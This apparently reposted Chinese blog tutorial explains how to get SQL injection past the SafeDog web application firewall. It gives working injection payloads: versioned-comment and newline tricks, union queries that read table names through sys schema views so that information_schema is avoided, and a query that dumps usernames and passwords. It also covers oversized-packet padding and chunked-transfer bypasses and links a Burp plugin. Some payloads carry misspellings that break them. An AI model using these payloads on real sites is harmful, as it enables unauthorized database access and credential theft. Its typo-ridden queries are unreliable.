我是靠谱客的博主 含糊嚓茶,最近开发中收集的这篇文章主要介绍【SQL注入如何绕过WAF】,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

   不知道各位在平时的sql注入漏洞挖掘的过程中是否经常会遇到这样那样版本的安全狗,虽然说安全狗十分的可恶。但是俗话说,狗的毛要顺着摸。今天就分享几种常见的安全狗绕过方法,亲测有效。特别是最后两种方法,100%绕过最新版本的安全狗。

   waf绕过常用方法: 注释、空白符、特殊符号、编码、替换;针对安全狗可能这些方法会失效,特别是安全狗3.5,只要提交的参数存在information_scheam就给你干掉。当然也是有办法绕过的。

安全狗4.02655版本

一步一步的探索

  1. 使用注释绕过:/*benben*/ /*!benben*/:注释里面的内容也要执行、/*!9000benben*/:当数据库版本为9的时候才执行benben;
  2. 替换:order by 替换为group by;  and 替换为&&;  or替换为||;
  3. /*!90000benebn*/注释绕过;
  4. --+benebn%0A注释加换行符绕过。
id=-1 union /*!90000benben*/ select 1,2,database(/*!90000benben*/)--+ id=-1 union /*!90000benben*/ select 1,2,group_concat(table_name) /*!90000benben*/ from information_schema.tables where table_schema='security'

例如:

进行FUZZ模糊化测试:

?id=2-1                                      N 
?id=2 and /!*90000benben*/ 1=1               N
?id=1 && /!*90000benben*/ 1=1                N 
?id=2 ^1^0                                   Y 
?id=-1' union --+benben%0A select 1,2,database(/*!90000benben*/)--+              Y
?id=-1' union --+benben%0A select 1,2,group_concat(table_name)--+benben%0A from information_schema.tables where table_schema='security'--+                       Y

安全狗3.5版本:

咬死information_schema关键字,可以采用如下的方法绕过:

方法一:

1. buffer缓存获取表名:sys.schema_table_statistics_with_buffer这张表,其中的columns和information_schema.tables一样,sys.x$ps_schema_table_statistics_io效果也是一样的:

 ?id=-1' union --+benben%0A select 1,2,3,group_concat(table_name) --+benben%0A from sys.sehcam_table_statistics_with_buffer where table_scheam=database(/*!90000benben*/)--+
?id=-1' union --+benben%0A select 1,2,3,group_concat(table_name) --+benben%0A from sys.x$ps_schema_table_statistics_io where table_schema=database(/*!90000benben*/)--+

 2. 注入出列名:可以采用join内联查询,内联查询引起键值冲突报错(网站须有报错功能),因为information_schema被吃了:

 select * from users as a join users as b; select * from(select * from users as a join users as b using(id)c; select * from(select * from users as a join users as b using(username)c

 3.注入出字段数据:

?id=-1' union --+benebn%0A select 1,2,3,group_concat('-',id,username,passwd) --+benben%0A from security.users--+

2. 方法二:超大数据包绕过--POST注入

目的是填充一些数据来占用安全狗的检测数据位。

首先使用python脚本探测安全狗的数据检测的最大位数:

qt-block-indent这个安全狗的特征可以使用bp抓取安全狗的返回数据包看到!注意目标网站是否开启了防止CC攻击,开了就没法进行探测。

4.027最新版安全狗绕过

方法三:

分块传输post注入------前提是对方的网站支持http分块传输

burpsuite分块传输插件: https://github.com/ThestaRY7/SQLinjection

添加:Transfer-Encoding:chunked

 在post表单中写入注入语句,使用bp扩展进行分块,成功绕过,3.5版本也适用。

 十分好用,再次注意对方的网站支持分块传输!!!!!

最后

以上就是含糊嚓茶为你收集整理的【SQL注入如何绕过WAF】的全部内容,希望文章能够帮你解决【SQL注入如何绕过WAF】所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(48)

评论列表共有 0 条评论

立即
投稿
返回
顶部